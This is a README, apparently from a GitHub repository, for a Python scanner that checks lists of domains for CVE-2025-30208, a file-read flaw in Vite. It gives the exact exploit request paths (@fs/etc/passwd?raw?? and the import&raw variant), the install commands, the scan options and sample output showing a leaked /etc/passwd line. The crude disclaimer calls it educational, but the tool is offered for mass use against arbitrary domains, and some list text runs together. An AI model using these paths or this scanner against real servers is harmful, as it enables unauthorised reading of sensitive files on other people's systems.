
CVE-2025-30208 ViteVulnScanner
Yo, this is a dope multi-threaded Python script by keklick1337 to hunt down domains vulnerable to CVE-2025-30208 in Vite. Basically, it checks if you can snag random files via the @fs endpoint with ?raw?? or ?import&raw?? — think /etc/passwd leaks and other juicy shit. It’s got some smart false-positive filtering so you don’t waste time on crap, plus options to tweak how it spits out the results.
<head> and <body> unless it smells legit.sourcemappingurl or export default to confirm the good stuff.results_good.txt, results_maybe_good.txt, results_bad.txt).-u if you’re into that.requestsurllib3git clone https://github.com/keklick1337/CVE-2025-30208-ViteVulnScanner.git
cd CVE-2025-30208-ViteVulnScanner
pip install requests urllib3
path_list.txt: Paths to check, one per line (e.g., /etc/passwd).domains.txt: Domains to hit, one per line (e.g., example.com).Fire it up like this:
python3 CVE-2025-30208.py <domains_file> [options]
<domains_file>: Your domains list (no file, no scan, duh).-t, --threads: How many threads to unleash (default: 10).-p, --protocol: Force http or https, or skip it for both.-u, --urls: Slap vulnerable URLs into the output.-o, --output: Base name for files (default: results).-f, --format: txt for split files or jsonl for one big-ass file (default: txt).python3 CVE-2025-30208.py domains.txt
python3 CVE-2025-30208.py domains.txt -t 20 -u -f jsonl
python3 CVE-2025-30208.py domains.txt -t 5 -p https
-f txt)results_good.txt: Shit that’s definitely fucked (has sourcemappingurl or export default).results_maybe_good.txt: Could be vuln, but no smoking gun.results_bad.txt: Clean, no worries.-u and URLs get tacked on with a tab (\t).results_good.txt with -u:example.com https://example.com/@fs/etc/passwd?raw??
-f jsonl)results_good.jsonl, results_maybe_good.jsonl, results_bad.jsonl.domain: What you scanned.status: VULNERABLE, MAYBE VULNERABLE, or BAD.url (if -u): Where it’s fucked.response: What the server coughed up.results_good.jsonl:{"domain": "example.com", "status": "VULNERABLE", "url": "https://example.com/@fs/etc/passwd?raw??", "response": "root:x:0:0:root:/root:/bin/bash"}
/1e4c911a3fd2244596863ddbfa6f3600/7970621079b41658dcd6c205640b3602/fake).<head> and <body>, it’s a nope — server’s just being a dick.path_list.txt with @fs/<path>?raw?? and ?import&raw??.<head> and <body>? Skip that shit.sourcemappingurl or export default? Boom, GOOD.MAYBE_GOOD.BAD.urllib3.disable_warnings()), so it doesn’t bitch about certs. Careful out there.path_list.txt for your targets — sensitive files are the real deal.Listen up: this shit’s for educational purposes only, fam. I ain’t responsible if you fuck something up, get caught, or piss someone off with this. Use it to learn, not to be a dickhead. All risks are on you, nahuy — I’m just here dropping code.
Got ideas? Found a bug? Hit me up with issues or pull requests. More ways to kill false positives or dope features? Let’s make this beast even sicker.